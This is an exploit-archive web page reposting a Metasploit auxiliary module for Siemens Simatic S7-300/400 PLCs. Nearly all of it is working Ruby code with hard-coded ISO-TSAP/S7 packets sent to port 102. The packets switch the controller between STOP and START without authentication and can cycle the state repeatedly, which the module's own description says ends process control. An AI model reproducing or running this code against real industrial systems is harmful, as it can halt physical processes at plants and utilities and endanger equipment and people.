首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Siemens Simatic S7-300/400 CPU START/STOP Module
来源:vfocus.net 作者:Beresford 发布时间:2012-07-16  

# Exploit Title: Siemens Simatic S7 300/400 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-300 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
 
 include Msf::Exploit::Remote::Tcp
 include Rex::Socket::Tcp
 include Msf::Auxiliary::Scanner

 def initialize(info = {})
  super(update_info(info,
    'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
    'Description'   => %q{
    The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
    this modules allows an attacker to perform administrative commands without authentication.
    This module allows a remote user to change the state of the PLC between
    STOP and START, allowing an attacker to end process control by the PLC.
   },
    'Author'   => 'Dillon Beresford',
    'License'        => MSF_LICENSE,
    'References'     =>
    [
     [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
     [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
    ],
   'Version'        => '$Revision$',
    'DisclosureDate' => 'May 09 2011'
    ))
   
    register_options(
     [
      Opt::RPORT(102),
      OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
      OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
      ], self.class)
  end
   
    def run_host(ip)
  begin
  
  cpu = datastore['MODE'] || ''
  cycles = datastore['CYCLES'] || ''
    
  stop_cpu_pkt =
    [
              "\x03\x00\x00\x16\x11\xe0\x00\x00"+
                 "\x00\x01\x00\xc1\x02\x01\x00\xc2"+
          "\x02\x01\x02\xc0\x01\x09",

    "\x03\x00\x00\x19\x02\xf0\x80\x32"+
    "\x01\x00\x00\xff\xff\x00\x08\x00"+
    "\x00\xf0\x00\x00\x01\x00\x01\x03"+
    "\xc0",

    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x00\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x40\x00\x01\x84\x00\x00\x00",

    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",

    "\x03\x00\x00\x21\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x02\x00\x10\x00"+
    "\x00\x29\x00\x00\x00\x00\x00\x09"+
    "\x50\x5f\x50\x52\x4f\x47\x52\x41"+
    "\x4d",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
      "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00"
    ]
  
  start_cpu_pkt =
    [
              "\x03\x00\x00\x16\x11\xe0\x00\x00"+
    "\x00\x01\x00\xc1\x02\x01\x00\xc2"+
    "\x02\x01\x02\xc0\x01\x09",

    "\x03\x00\x00\x19\x02\xf0\x80\x32"+
    "\x01\x00\x00\xff\xff\x00\x08\x00"+
    "\x00\xf0\x00\x00\x01\x00\x01\x03"+
    "\xc0",

    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x00\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x40\x00\x01\x84\x00\x00\x00",

    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",


    "\x03\x00\x00\x25\x02\xf0\x80\x32"+ 
    "\x01\x00\x00\x00\x02\x00\x14\x00"+
    "\x00\x28\x00\x00\x00\x00\x00\x00"+
    "\xfd\x00\x00\x09\x50\x5f\x50\x52"+
    "\x4f\x47\x52\x41\x4d"
    
    ]
  # CPU STOP  
  if(cpu == 1)
  connect()
  stop_cpu_pkt.each do |i|
    sock.put("#{i}")
    sleep(0.005)
    end
   end
   # CPU START
   if(cpu == 2)
  connect()
  start_cpu_pkt.each do |i|
    sock.put("#{i}")
    sleep(0.005)
    end
   end
 # STOP / START CPU
 for n in 0..cycles
   if(cpu == 3)
  connect()
  # We assume PLC is up and running (issue a stop command)
  stop_cpu_pkt.each do |i| 
    sock.put("#{i}")
    sleep(0.005)
  end
  
  connect()
  # We assume PLC is has been stopped (issue a start command)
   start_cpu_pkt.each do |i|
     sock.put("#{i}")
    sleep(0.005)
    end
   end
  end
 
 data = sock.get_once() 
  print_good("#{ip} PLC is running, iso-tsap port is open.")
 if(cpu == 'true')
  print_status("Putting the PLC into START mode.")
   elsif(cpu == 'false')
    print_status("Putting the PLC into STOP mode.")
   end
   disconnect()
   rescue ::EOFError
  end
 end
end

 

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Hastymail 2.1.1 RC1 Command In
·Siemens Simatic S7-300 PLC Rem
·ZipItFast PRO v3.0 Heap Overfl
·Siemens Simatic S7-1200 CPU ST
·WaveSurfer 1.8.8p4 <= Memory C
·Netcat 1.11 Crash POC
·FileZilla Server version 0.9.4
·Intel Core2Duo cpu cache contr
·Telnet Ftp Server <= Memory Co
·Java Applet Field Bytecode Ver
·beSTORM ActiveX (WinGraphviz.d
·Shadow Stream Recorder (aslr b
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved